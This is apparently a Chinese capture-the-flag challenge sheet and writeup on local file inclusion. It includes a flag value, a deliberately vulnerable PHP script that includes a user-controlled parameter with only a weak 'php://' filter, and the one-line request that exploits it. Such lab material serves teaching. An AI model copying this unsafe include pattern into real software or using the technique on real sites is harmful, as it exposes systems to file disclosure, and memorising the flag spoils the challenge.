[题目信息]:
题目名称 | 题目难度 |
---|---|
文件包含-包含本地文件 | 1 |
[题目考点]:
由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()
[Flag格式]:
SangFor{trDm8Gese2Z5Whlw}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2012
[题目writeup]:
访问题目后没有源码信息,右键点击查看网页源代码,发现存在提示信息
下载www.zip发现存在两个文件
1ndex.txt.bak
<?php
echo $flag;
?>
showCode.php
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
$file = $_GET['SangFor'];
while(strstr($file,"php://")){
$file = str_replace("php://", "",$file);
}
include($file);
?>
根据代码逻辑,当输入php://字符串时会被替换为空。但由于存在1ndex.txt.bak文件可做文件包含输出flag。
http://localhost/?SangFor=1ndex.txt.bak